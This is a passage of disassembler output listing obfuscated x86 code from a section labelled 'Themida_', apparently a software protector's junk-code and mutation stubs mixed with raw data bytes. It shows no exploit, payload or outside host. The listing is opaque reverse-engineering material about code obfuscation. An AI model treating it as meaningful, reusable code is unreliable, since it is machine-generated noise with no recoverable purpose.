		mov	ebx, 0F12FD560h
		add	eax, ebx
		pop	ebx
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_5176E6
; ---------------------------------------------------------------------------


loc_51F183:				; CODE XREF: Themida_:0050F5B6j
		mov	ebx, 1AE12D42h
		push	edi
		mov	edi, 723E532Eh
		sub	ebx, edi
		jmp	loc_520510
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 83000000h,	3C8904ECh, 0FC28E924h, 0F581FFFFh
		dd 136143C3h, 6C95F581h, 0EA894A07h, 0FF75EDE9h, 0C4815FFFh
		dd 4, 0FFDD1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F1C9:				; CODE XREF: Themida_:00518719j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		inc	ebp
		jmp	loc_51C9F9
; ---------------------------------------------------------------------------
		db 0B0h
		dd 8BC53013h, 68562404h, 7322h,	24048F54h, 4240483h, 4C6815Eh
		dd 81000000h, 4C6h, 24348700h, 4A89E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F212:				; CODE XREF: Themida_:0050CA19j
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_50FAEE
; ---------------------------------------------------------------------------


loc_51F221:				; CODE XREF: Themida_:00510846j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_51111C
; ---------------------------------------------------------------------------


loc_51F22C:				; CODE XREF: Themida_:00516388j
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_51D4B7
; ---------------------------------------------------------------------------


loc_51F238:				; CODE XREF: Themida_:0051BEF7j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_520455
; ---------------------------------------------------------------------------
		dd 5D63E381h, 0BA5267BBh, 2F2054Fh, 0FFA85CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F25D:				; CODE XREF: Themida_:0050EE1Dj
		add	esi, 335312B6h
		xchg	ebp, esi
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_513D67
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F7662424h, 5AB268F9h, 83E90000h,	68FFFFFCh
		dd 4162h, 52240C89h, 0C3E9E289h, 0BDFFFF00h, 733E317Ch
		dd 0FF4841E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F29D:				; CODE XREF: Themida_:00519982j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_51FC28
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0FFBF243Ch, 0E9FFFFFFh, 0FFFF0567h, 5C243C33h
		dd 2E9D68h, 24248900h, 4240483h, 5024048Fh, 4B8h, 246C8100h
		dd 4A723A04h, 24440138h, 24448104h, 4A723A04h, 4DE95838h
		dd 80FFFF40h, 0EB8027C3h, 7F048Ch, 0CBB2E9D8h, 0C381FFFEh
		dd 4, 157EE9h, 4C48300h, 0EDE9E3D1h, 81FFFF7Eh,	4C4h, 4C58100h
		dd 57000000h, 0FE24E953h, 0D189FFFFh, 3E1C15Ah,	0FF7D88E9h
		dd 2EE958FFh
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F347:				; CODE XREF: Themida_:0050E28Fj
		add	esp, 4
		jmp	loc_51F3C5
; ---------------------------------------------------------------------------


loc_51F352:				; CODE XREF: Themida_:005122E8j
		add	esp, 4
		mov	esi, eax
		jmp	loc_5148D0
; ---------------------------------------------------------------------------
aWhfv		db 'WhV',0
		align 2
		dw 2489h
		dd 24048124h, 4, 4EC835Fh, 0FFB1BEE9h, 28DBB5FFh, 285966E8h
		dd 5BDB04F8h, 30E98504h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F387:				; CODE XREF: Themida_:00515557j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_513121
; ---------------------------------------------------------------------------
		db 31h,	0EAh, 5Dh
		dd 148BD701h, 4C48124h,	1000000h, 0C2895FF8h, 8BD02958h
		dd 0C4832414h, 8BC70104h, 0C4832404h, 603BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F3BE:				; CODE XREF: Themida_:0051FF22j
		mov	dl, ch
		jmp	loc_520ECD
; ---------------------------------------------------------------------------


loc_51F3C5:				; CODE XREF: Themida_:0051F34Dj
		sub	edx, 3C161B9Bh
		add	edx, 6A6BB0C9h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_50FB45
; ---------------------------------------------------------------------------
		db 5, 76h, 2Ah
		dd 6CE94C30h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F3EF:				; CODE XREF: Themida_:005118DBj
		push	edi
		xchg	esi, [esp]
		not	esi
		jmp	loc_514688
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 0DF85E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F406:				; CODE XREF: Themida_:005151B2j
		xor	edx, ebx
		pop	ebx
		inc	edx
		sub	edx, 0B0A69E11h
		add	ebp, 3F382910h
		add	ebp, edx
		sub	ebp, 3F382910h
		pop	edx
		jmp	loc_51E40F
; ---------------------------------------------------------------------------
		dd 0FE505BBFh, 1866E978h, 0DA20FFFFh, 0E20CE95Bh, 0C781FFFEh
		dd 474361A6h, 0EA2FE947h, 8952FFFFh, 4C281E2h, 83000000h
		dd 148704EAh, 87E95C24h, 89FFFFC5h, 8FBB241Ch, 8153B911h
		dd 0B9118BF3h, 0EBC78153h, 11E5F24h, 0EBEF81DFh, 5B1E5F24h
		dd 0FEEFBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F479:				; CODE XREF: Themida_:00511306j
		mov	ebp, esp
		jmp	loc_51FFC0
; ---------------------------------------------------------------------------
		dd 0BF57E389h, 0DB14A1Ah, 387EC781h, 0DFF70841h, 0FF4950E9h
		dd 0D7E958FFh, 89FFFF39h, 5868242Ch, 89000063h,	93BF243Ch
		dd 8931A86Ch, 0FAEEE9FDh, 2505FFFEh, 2956965Dh,	5D252DF8h
		dd 0EA2D5696h, 57F5F44h, 24DA5A30h, 433CBD55h, 0ED813DABh
		dd 0D6E33004h, 0FF5DE801h, 685F2434h, 7164h, 89243489h
		dd 60B951E6h, 0F7026764h, 65C181D1h, 1026764h, 0EC8159CEh
		dd 4, 0B8240489h, 4, 0E958C601h, 0FFFF3F2Ah, 0E3E1E95Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51F512:				; CODE XREF: Themida_:00520385j
		pop	edi
		add	esp, 4
		mov	ecx, edx
		jmp	loc_50C013
; ---------------------------------------------------------------------------
		dd 6B95142h, 81F60D1Ah,	994C14C2h, 81CA2976h, 994C14EAh
		dd 0D3295976h, 8CF3815Ah, 0E95F0012h, 5Bh, 0E95EF729h
		dd 0FFFF8A28h, 0C581E589h, 4, 8704ED83h, 895C242Ch, 2EE9241Ch
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F563:				; CODE XREF: Themida_:00515395j
		pop	ecx
		push	esi
		mov	esi, 53A73F7Dh
		sub	ecx, 5C187B39h
		add	ecx, esi
		jmp	loc_516CAF
; ---------------------------------------------------------------------------
		db 0ADh
		dd 207F83h, 0E60F840Fh,	7F68FFFFh, 8900003Dh, 95BF243Ch
		dd 0E91A1349h, 0FFFEE3D5h, 83242C8Bh, 0AFE904C4h, 81FFFF4Ch
		dd 3E16BEC3h, 4EC81D2h,	0E9000000h, 0FFFF2210h,	8105E5C1h
		dd 78C5ACEDh, 75ED8102h, 0E99C8780h, 0FFFF14D2h
; ---------------------------------------------------------------------------


loc_51F5C4:				; CODE XREF: Themida_:0051F90Aj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_50FF46
		push	5DA0h
		mov	[esp], eax
		push	1Ch
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_51BBAA
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFECCDEh, 3C8BF829h, 4C48324h, 0FB490B05h,	0E68DE97Eh
		dd 5D59FFFFh, 0FF7B41E9h, 7EB735FFh, 0C6017FF6h, 582434FFh
		dd 8304C483h, 0A2E902C6h, 8BFFFFD3h, 0C8842424h, 0BF9BE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51F64A:				; CODE XREF: Themida_:00518FD2j
		mov	ecx, 50C33734h
		shr	ecx, 6
		push	ebx
		mov	ebx, 7B354A9Ah
		sub	ebx, 2C142345h
		push	edi
		mov	edi, 4770297Dh
		jmp	loc_516531
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 5F2434FFh, 0FEC3F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F675:				; CODE XREF: Themida_:0051DD59j
		sub	[esp+8], esi
		jmp	loc_510EDB
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 585626EBh, 81EB2925h, 585626C3h, 31E95D25h, 0F7FFFF62h
		dd 0F4E581D5h, 0F707254Ch, 0DBED81D5h, 0E9FDDFF3h, 0FFFFC651h
		dd 8E7FC935h, 2C333564h, 912D176Fh, 1508C60h, 0E9E958C3h
		dd 0FF000009h, 669D1C77h, 2414D359h, 0BF17E99Ch, 0C581FFFEh
		dd 321E1392h, 67F2B951h, 0E1C114F8h, 0DF18106h,	0E96CC082h
		dd 0FFFFBEBAh, 4C72B850h, 0C729B40Ch, 5FFB8958h, 29D1F381h
		dd 91E96B74h, 89FFFF82h, 50E9240Ch
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F707:				; CODE XREF: Themida_:0050EF70j
		pop	eax
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 8
		xor	eax, ecx
		push	3521h
		mov	[esp], edx
		push	60Ch
		mov	[esp], esp
		jmp	loc_51B199
; ---------------------------------------------------------------------------
		dd 4335D59h, 0C04BE924h, 0C481FFFFh, 4,	4246C81h, 679E0156h
		dd 0FFC3ABE9h, 0ED8166FFh, 1CE9125Bh, 81FFFFC7h, 6135BEEAh
		dd 0D0015B15h, 6084E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F75E:				; CODE XREF: Themida_:0051B69Ej
		mov	ebx, 177E12CCh
		add	ecx, ebx
		pop	ebx
		push	3C90h
		jmp	loc_51EB2A
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F662424h, 9C2404ABh, 0FF5FF7E9h,	2434FFFFh
		dd 582D6858h, 3C890000h, 0E9E78924h, 7D3h, 8B240C33h, 0B8502424h
		dd 3B493F8Fh, 4244429h,	24042958h, 42ACE957h, 0B468FFFFh
		dd 89000055h, 4BD242Ch,	1000000h, 0C875DE9h, 0D9895C24h
		dd 0F840E95Bh, 0F74AFFFFh, 0F28142D2h, 0CD2E14D6h, 148BD331h
		dd 4C48324h, 0FF30E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F7E1:				; CODE XREF: Themida_:0050FA05j
		xor	ecx, 60AC44CEh
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 0EAE43ABh
		jmp	loc_5174D2
; ---------------------------------------------------------------------------
		dd offset dword_565F68
		dd 24348900h, 60516853h, 3DE912CFh
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F80B:				; CODE XREF: Themida_:00520105j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 0BBh
		dd 193F1CF5h, 8B5BDD29h, 0E0E9241Ch, 87000005h,	8F5C240Ch
		dd 248B2404h, 2434FF24h, 13B685Ah, 2C890000h, 2C8B5424h
		dd 4C48124h, 81000000h,	4C5h, 4CE95000h
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F857:				; CODE XREF: Themida_:0050EC79j
		push	7A76h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebp
		push	ecx
		mov	ecx, 699311CFh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_51E00F
; ---------------------------------------------------------------------------


loc_51F87C:				; CODE XREF: Themida_:0051DF38j
		xor	ebx, 16F30C4Bh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_519BA3
; ---------------------------------------------------------------------------
		dd offset loc_422E67+1
		dw 8100h
		dd 4ECh, 24248900h, 4BD55h, 0B3E90000h,	81FFFECCh, 4C4h
		dd 0E2895200h, 4C281h, 0EA830000h, 24148704h, 0FF5B29E9h
		dd 66595BFFh, 83240C8Bh, 895202C4h, 4BF57E2h, 1000000h
		dd 0EA835FFAh, 24148702h, 1C89665Ch, 44BB6624h,	47706842h
		dd 4890000h, 46FEE924h,	6C29FFFFh, 9E90C24h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F8F7:				; CODE XREF: Themida_:0050CA2Aj
		mov	cl, 0Dh
		add	cl, 0AAh
		add	cl, bl
		jmp	loc_51954E
; ---------------------------------------------------------------------------


loc_51F903:				; CODE XREF: Themida_:00510E05j
		add	esi, 4
		push	esi
		jmp	loc_51F5C4
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 8904EC83h, 4BF243Ch, 81000000h, 0D87060C3h
		dd 9E23E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F92A:				; CODE XREF: Themida_:005206D2j
		mov	[esp], edx
		mov	edx, 542D07E4h
		neg	edx
		jmp	loc_50FD68
; ---------------------------------------------------------------------------


loc_51F939:				; CODE XREF: Themida_:00513E66j
		xor	eax, [esp]
		jmp	loc_521098
; ---------------------------------------------------------------------------


loc_51F941:				; CODE XREF: Themida_:005164BCj
		pop	edi
		add	[esp+8], ebx
		pop	ebx
		add	dword ptr [esp+4], 76E229A8h
		jmp	loc_50E2F4
; ---------------------------------------------------------------------------
		dd 0D33E951h, 0CE81FFFFh, 57F44821h, 37F5F681h,	0E6C17669h
		dd 1DFE908h, 0B850FFFFh, 4, 0FEE449E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51F979:				; CODE XREF: Themida_:00520D75j
		add	ebx, edx
		push	edi
		jmp	loc_50E066
; ---------------------------------------------------------------------------


loc_51F981:				; CODE XREF: Themida_:005210C5j
		sub	ebx, 63A5320h
		jmp	loc_50D08C
; ---------------------------------------------------------------------------
		dd 4261C381h, 0C381666Eh, 2493758Dh, 4C3815Ah, 0E9000000h
		dd 0FFFFDF2Fh, 98C2815Eh, 6870690Ch, 56ADh, 0B9240C89h
		dd 0
		dd 0CA87D129h, 8B2434FFh, 5452240Ch, 4C2815Ah, 83000000h
		dd 148704C2h, 0C0E95C24h, 81FFFF20h, 4C3h, 4C38300h, 5C241C87h
		dd 8124048Bh, 4C4h, 24143300h, 33241431h, 248B2414h, 4EC8124h
		dd 89000000h, 0CDE92434h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FA07:				; CODE XREF: Themida_:0051C8B5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_520359
; ---------------------------------------------------------------------------
		db 0BFh
		dd 221D6BE7h, 926E9h, 4C58100h,	81000000h, 4C5h, 242C8700h
		dd 5524248Bh, 0FF482BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51FA3D:				; CODE XREF: Themida_:0051DC2Cj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	7B5Ch
		jmp	loc_510DDB
; ---------------------------------------------------------------------------
		db 51h
		dd 0A23428B9h, 0B5C18132h, 8152620Ah, 0EC76F3E9h, 77F18137h
		dd 2118F0D7h, 0EE8159CEh, 2341ED0Ch, 348BF701h,	4C48324h
		dd 5257525Dh, 810F7CBAh, 5AD78915h, 0E71852BAh,	5FFA0139h
		dd 7FC1C281h, 29E9697Fh, 0E9FFFF1Fh, 0FFFEBB3Dh, 8B240C87h
		dd 34892424h, 50E68924h, 0FFC477E9h, 241C89FFh,	0C381E389h
		dd 4, 5304EB83h, 42474FFh, 24048F5Bh, 0E20CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FAD6:				; CODE XREF: Themida_:00517497j
		push	eax
		mov	eax, 15D77ECBh
		add	eax, 6629363Fh
		jmp	loc_51A716
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6B682404h, 89000003h, 0E954241Ch, 0FFFF9A15h
; ---------------------------------------------------------------------------


loc_51FAF8:				; CODE XREF: Themida_:0051A1A5j
		push	dword ptr [esp]
		jmp	loc_51E541
; ---------------------------------------------------------------------------
		dd 7620E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FB06:				; CODE XREF: Themida_:0051372Ej
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_520501
; ---------------------------------------------------------------------------
		db 0B5h
		dd 99CDE9DAh, 0C701FFFFh, 582434FFh, 4C481h, 53500000h
		dd 0F769E955h, 4A5EFFFFh, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 0DEE92434h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FB47:				; CODE XREF: Themida_:0050E348j
		mov	[esp], edi
		push	ebx
		push	ebp
		push	3D1B452Ah
		jmp	loc_51AB3C
; ---------------------------------------------------------------------------
		dw 8853h
		dd 5BFC88EFh, 0E9DD88h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FB63:				; CODE XREF: Themida_:0051E4D2j
		mov	[esp], esi
		jmp	loc_519DAB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5E5568F2h, 0F205F029h, 5E5E5568h, 5E51ED05h,	81D8012Bh
		dd 4ECh, 24148900h, 6B689DBAh, 0DA874A6Ch, 0FF3FF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51FB95:				; CODE XREF: Themida_:00514D03j
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 15E536F8h
		jmp	loc_520F11
; ---------------------------------------------------------------------------
		dw 0AEB5h
		dd 88EB8853h, 80595BDCh, 0EF803EECh, 0E1F1E9E5h, 5854FFFEh
		dd 58F6E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FBC6:				; CODE XREF: Themida_:00513340j
		push	edi
		push	ebx
		jmp	loc_51BA10
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F6000000h, 80D6F6DEh, 0F1307CEEh, 24148B66h, 2C481h
		dd 46E90000h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51FBEB:				; CODE XREF: Themida_:0051EFBAj
		sub	dword ptr [esp+4], 6DF1790h
		add	dword ptr [esp+4], 5B0653B0h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 5B0653B0h
		add	dword ptr [esp+4], 6DF1790h
		push	ebx
		push	edi
		mov	edi, 477233ADh
		push	esi
		push	37272CBBh
		pop	esi
		or	esi, 7CA66A74h
		jmp	loc_51F09D
; ---------------------------------------------------------------------------


loc_51FC28:				; CODE XREF: Themida_:0051F2B7j
		push	285Ah
		mov	[esp], ebx
		push	ebp
		jmp	loc_518ECC
; ---------------------------------------------------------------------------


loc_51FC36:				; CODE XREF: Themida_:0050F796j
		push	ebx
		mov	ebx, 6DF53E45h
		and	ebx, 1A4042F7h
		not	ebx
		shl	ebx, 5
		dec	ebx
		sub	ebx, 45823ED4h
		add	ebx, 0BE53E799h
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		jmp	loc_51BEE4
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5763669h, 0FECD3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51FC69:				; CODE XREF: Themida_:0050CF93j
		mov	edi, eax
		pop	eax
		add	ecx, 1EE0403Ch
		add	ecx, 4E3A0E19h
		add	ecx, edi
		sub	ecx, 4E3A0E19h
		sub	ecx, 1EE0403Ch
		pop	edi
		add	ecx, 4
		jmp	loc_50B8E9
; ---------------------------------------------------------------------------
		dw 68h
		dd 0FF000000h, 34FF2434h, 0C4835B24h, 1E95704h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FCA7:				; CODE XREF: Themida_:00512934j
		pop	edi
		add	ebp, 4
		jmp	loc_513C25
; ---------------------------------------------------------------------------


loc_51FCB3:				; CODE XREF: Themida_:00510901j
		add	esp, 4
		push	esi
		jmp	loc_5171FD
; ---------------------------------------------------------------------------


loc_51FCBF:				; CODE XREF: Themida_:00514225j
		xchg	ebp, [esp]
		jmp	loc_51CDCD
; ---------------------------------------------------------------------------
		db 81h
		dd 0E44ECAC7h, 0F6C78167h, 149E094h, 53E1E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FCDA:				; CODE XREF: Themida_:0050E303j
		mov	[esp], edx
		mov	edx, 695A5BF3h
		jmp	loc_51EB57
; ---------------------------------------------------------------------------
		db 88h
		dd 0D5F658E5h, 5966EF88h, 0FFBED7E9h, 0C8B66FFh, 0E1895124h
		dd 7B9C68h, 24048900h, 1F0963B8h, 7BBB5366h, 8135DE60h
		dd 0ED3F47CBh, 0C479E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FD1A:				; CODE XREF: Themida_:0050CC1Bj
		add	esi, ecx
		sub	esi, 4A5D7469h
		jmp	loc_51B65B
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0DCBF57E6h, 81169220h, 0CF010BEFh, 0C7814700h, 3284222Dh
		dd 815FFE29h, 0C6A1B4F6h, 8BF389BEh, 0C4812434h, 4, 0F381D3F7h
		dd 0D97C948Bh, 0FF67BFE9h, 0B8505FFFh, 24811ACAh, 0EF7B1D05h
		dd 0AF054031h, 105FE89h, 24048BC3h, 4C481h, 0CB010000h
		dd 0FFC539E9h, 0E68956FFh, 4C681h, 70E90000h, 8BFFFF48h
		dd 0C481242Ch, 4, 0ECC8E955h, 3DBBFFFEh, 0E91C2B16h, 0FFFFC8A5h
		dd 18EF8147h, 29C775B7h, 0FA015FFAh, 28B4C281h,	3C8B6FFAh
		dd 4C48324h, 0E9241433h, 0FFFF572Ah, 56243C89h,	0A61B1EBEh
		dd 5EF78927h, 0E95FF929h, 0FFFF609Ah, 81FD015Eh, 3F1DAEEDh
		dd 0E5C15F4Fh, 6806h, 2C810000h, 9167B524h, 242C294Eh
		dd 0B5240481h, 5D4E9167h, 0FFD749E9h, 90E95EFFh, 81FFFF32h
		dd 4ECh, 4771E900h, 2B68FFFFh, 89000028h, 0E168241Ch, 0E900007Ch
		dd 0FFFEBBCEh, 4E981h, 0C870000h, 8F545C24h, 4832404h
		dd 815D0424h, 4C5h, 4C58100h, 0E9000000h, 0FFFF26A2h, 7F2646BBh
		dd 0CAAAE953h, 0E952FFFFh, 0FFFF4902h, 4741AE2Dh, 5046E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FE66:				; CODE XREF: Themida_:0051B01Dj
		push	esp
		pop	ebx
		jmp	loc_51A31C
; ---------------------------------------------------------------------------
		db 68h,	0BDh, 25h
		dd 0A1E90000h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FE77:				; CODE XREF: Themida_:00515526j
		push	ebx
		jmp	loc_51F171
; ---------------------------------------------------------------------------
		db 0BFh, 0D7h, 3Ah
		dd 0BD55414Fh, 781C3FC7h, 0EC47E950h, 3C33FFFEh, 0B4AE924h
		dd 2C89FFFFh, 83E58924h, 148904ECh, 4BA24h, 0D5010000h
		dd 0E924148Bh, 0FFFFEB69h, 0A7E9E089h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FEB7:				; CODE XREF: Themida_:00515446j
		shl	ebp, 6
		jmp	loc_520226
; ---------------------------------------------------------------------------
		db 88h
		dd 907DE9C8h, 0FE31FFFFh, 85CE815Fh, 0C1578555h, 0F68105EEh
		dd 0FC59C461h, 0B3E9F229h, 20FFFFD9h, 9FE95AF1h, 57FFFFA4h
		dd 0E02FA2BFh, 9CD3E979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FEF2:				; CODE XREF: Themida_:00510730j
		push	ecx
		mov	ecx, 4
		jmp	loc_513E84
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0ABh
		dd 0E9613519h, 0FFFF9D36h, 56241C89h, 537EB4BEh, 9CE94E1Dh
		db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51FF17:				; CODE XREF: Themida_:0050C271j
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, al
		jmp	loc_51F3BE
; ---------------------------------------------------------------------------
		db 68h
		dd 3ABEh, 0E9243C89h, 0FFFF79CAh
; ---------------------------------------------------------------------------


loc_51FF34:				; CODE XREF: Themida_:00512EB3j
		add	esi, 4
		push	ebp
		mov	ebp, 74F341E4h
		xor	ebp, 74F341E0h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_51238F
; ---------------------------------------------------------------------------
		db 50h
		dd 4EC81h, 3C890000h, 94C3E924h, 0D368FFFFh, 0E9000038h
		dd 0FFFED341h, 36BA5246h, 0E90546D0h, 0FFFF5555h, 4B9h
		dd 244C0100h, 148B5904h, 4C48324h, 4EC81h, 96E90000h, 81FFFEC7h
		dd 0B2026EC7h, 7BF7814Fh, 0E94C7866h, 0FFFF4C07h
; ---------------------------------------------------------------------------


loc_51FFB8:				; CODE XREF: Themida_:0051E8A0j
		not	ebp
		push	edi
		jmp	loc_5102BB
; ---------------------------------------------------------------------------


loc_51FFC0:				; CODE XREF: Themida_:0051F47Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_51CA2A
; ---------------------------------------------------------------------------


loc_51FFD1:				; CODE XREF: Themida_:00518D27j
		xor	eax, 64B82148h
		push	eax
		jmp	loc_51C68A
; ---------------------------------------------------------------------------


loc_51FFDC:				; CODE XREF: Themida_:00511E87j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_50FEC1
; ---------------------------------------------------------------------------


loc_51FFEC:				; CODE XREF: Themida_:00513FA8j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3D27012Fh
		add	ecx, 0FFFFFFFFh
		inc	ecx
		add	ecx, 1
		sub	ecx, 3D27012Ch
		jmp	loc_51C655
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C8700h, 0FF51F9E9h, 240C87FFh, 0FF8121E9h
		dd 0A1BE56FFh, 817E9325h, 5B25C6E6h, 0FA25E94Ch, 0C281FFFFh
		dd 6C7F1BA8h, 3E21B951h, 0CA313A7Bh
		db 59h
byte_520045	db 0E9h, 83h, 20h	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52004A:				; CODE XREF: Themida_:0050EC03j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_50CA35
; ---------------------------------------------------------------------------
		dd 57240C89h, 8924E4BFh, 0E29EE90Bh, 0F757FFFEh, 0F75F2414h
		dd 20E951DFh, 89FFFF7Dh, 6ABB241Ch, 814D7579h, 0DD40BAF3h
		dd 1C38362h, 8104E3C1h,	931E6C3h, 3E3C179h, 8854BE56h
		dd 0F3016399h, 0C9C6815Eh, 0E946C172h, 0FFFEDB0Dh, 0E95BDD31h
		dd 0FFFFB84Eh, 9D1C77FFh, 24041958h, 0B527E99Ch, 0EC81FFFEh
		dd 4, 0A02E9h, 10056800h, 4890000h, 267FB824h, 254864FCh
		dd 7F784012h, 0FEE31BE9h, 240C89FFh, 67B768h, 7AE5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5200EE:				; CODE XREF: Themida_:00512921j
		and	edx, ebx
		jmp	loc_5113E3
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 0AA5FF4C7h, 227BE963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520102:				; CODE XREF: Themida_:005194C9j
		xor	[esp], esi
		jmp	loc_51F80B
; ---------------------------------------------------------------------------


loc_52010A:				; CODE XREF: Themida_:005206B9j
		not	ecx
		push	ebx
		jmp	loc_51253F
; ---------------------------------------------------------------------------


loc_520112:				; CODE XREF: Themida_:0051BA14j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_50F9EF
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0E904245Ch, 0FFFF85B3h, 5C24048Fh,	3C8BF801h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 0CA0685Ch
